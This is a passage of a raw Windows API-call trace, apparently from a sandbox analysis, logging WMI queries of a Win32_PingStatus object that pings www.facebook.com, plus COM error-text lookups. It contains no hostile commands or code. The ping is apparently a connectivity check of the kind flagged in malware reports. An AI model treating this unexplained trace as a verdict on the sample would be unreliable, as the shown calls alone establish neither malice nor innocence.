pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0142.526] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.526] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.526] SafeArrayGetLBound (in: psa=0x5c78e48, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0142.526] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.526] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.526] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.526] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.526] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.526] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.527] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.527] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.527] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.527] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.527] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.527] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.527] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.527] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.527] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.527] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.527] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.527] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.527] SysStringByteLen (bstr="__PATH") returned 0xc [0142.527] SysStringByteLen (bstr="__PATH") returned 0xc [0142.527] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23152c4*=0, plFlavor=0x23152c8*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23152c4*=3, plFlavor=0x23152c8*=64) returned 0x0 [0142.528] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23152f8*=0, plFlavor=0x23152fc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23152f8*=8, plFlavor=0x23152fc*=64) returned 0x0 [0142.528] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.528] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.528] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315350*=0, plFlavor=0x2315354*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315350*=8, plFlavor=0x2315354*=64) returned 0x0 [0142.528] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315378*=0, plFlavor=0x231537c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2315378*=8, plFlavor=0x231537c*=64) returned 0x0 [0142.528] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.528] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.528] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23153d0*=0, plFlavor=0x23153d4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23153d0*=8, plFlavor=0x23153d4*=64) returned 0x0 [0142.528] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.528] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.528] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23155b0*=0, plFlavor=0x23155b4*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23155b0*=3, plFlavor=0x23155b4*=64) returned 0x0 [0142.529] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23155e4*=0, plFlavor=0x23155e8*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23155e4*=8200, plFlavor=0x23155e8*=64) returned 0x0 [0142.529] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315618*=0, plFlavor=0x231561c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2315618*=8, plFlavor=0x231561c*=64) returned 0x0 [0142.529] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.529] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.529] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315664*=0, plFlavor=0x2315668*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2315664*=8, plFlavor=0x2315668*=64) returned 0x0 [0142.529] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.529] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.529] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23156b0*=0, plFlavor=0x23156b4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23156b0*=8, plFlavor=0x23156b4*=64) returned 0x0 [0142.529] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.530] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0142.530] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0142.530] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.530] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="WriteErrorStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23158ec*=0, plFlavor=0x23158f0*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23158ec*=0, plFlavor=0x23158f0*=0) returned 0x80041002 [0142.530] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0142.531] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58998) returned 0x0 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0142.532] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c589a8) returned 0x0 [0142.532] WbemStatusCodeText:IUnknown:Release (This=0x5c58998) returned 0x0 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c589a8) returned 0x0 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0142.532] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589a8) returned 0x3 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0142.532] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0142.532] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0142.532] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0142.532] WbemStatusCodeText:IUnknown:Release (This=0x5c589a8) returned 0x2 [0142.533] WbemStatusCodeText:IUnknown:Release (This=0x5c589a8) returned 0x1 [0142.533] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.533] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0142.533] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589a8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c589a8) returned 0x0 [0142.533] WbemStatusCodeText:IUnknown:AddRef (This=0x5c589a8) returned 0x3 [0142.533] WbemStatusCodeText:IUnknown:Release (This=0x5c589a8) returned 0x2 [0142.533] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c589a8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0142.533] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.534] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.534] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.534] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.534] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.534] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.534] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.534] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0142.535] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.535] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.535] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0142.535] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.535] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.535] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.535] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.535] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.535] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.535] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.535] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.535] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.535] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.535] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.535] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.535] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.535] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.535] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.535] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.536] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.536] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.536] SysStringByteLen (bstr="__PATH") returned 0xc [0142.536] SysStringByteLen (bstr="__PATH") returned 0xc [0142.536] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315ccc*=0, plFlavor=0x2315cd0*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2315ccc*=3, plFlavor=0x2315cd0*=64) returned 0x0 [0142.536] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315d00*=0, plFlavor=0x2315d04*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2315d00*=8, plFlavor=0x2315d04*=64) returned 0x0 [0142.536] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.536] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.536] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315d58*=0, plFlavor=0x2315d5c*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315d58*=8, plFlavor=0x2315d5c*=64) returned 0x0 [0142.536] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315d80*=0, plFlavor=0x2315d84*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2315d80*=8, plFlavor=0x2315d84*=64) returned 0x0 [0142.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.537] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315dd8*=0, plFlavor=0x2315ddc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2315dd8*=8, plFlavor=0x2315ddc*=64) returned 0x0 [0142.537] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.537] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.537] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315fc4*=0, plFlavor=0x2315fc8*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2315fc4*=3, plFlavor=0x2315fc8*=64) returned 0x0 [0142.537] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315ff8*=0, plFlavor=0x2315ffc*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2315ff8*=8200, plFlavor=0x2315ffc*=64) returned 0x0 [0142.538] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231602c*=0, plFlavor=0x2316030*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x231602c*=8, plFlavor=0x2316030*=64) returned 0x0 [0142.538] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.538] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.538] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316078*=0, plFlavor=0x231607c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2316078*=8, plFlavor=0x231607c*=64) returned 0x0 [0142.538] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.538] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.538] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23160c4*=0, plFlavor=0x23160c8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23160c4*=8, plFlavor=0x23160c8*=64) returned 0x0 [0142.538] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.538] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0142.539] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0142.539] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.539] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="WriteWarningStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316300*=0, plFlavor=0x2316304*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316300*=0, plFlavor=0x2316304*=0) returned 0x80041002 [0142.539] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0142.540] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58998) returned 0x0 [0142.540] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0142.541] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c589b8) returned 0x0 [0142.541] WbemStatusCodeText:IUnknown:Release (This=0x5c58998) returned 0x0 [0142.541] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c589b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 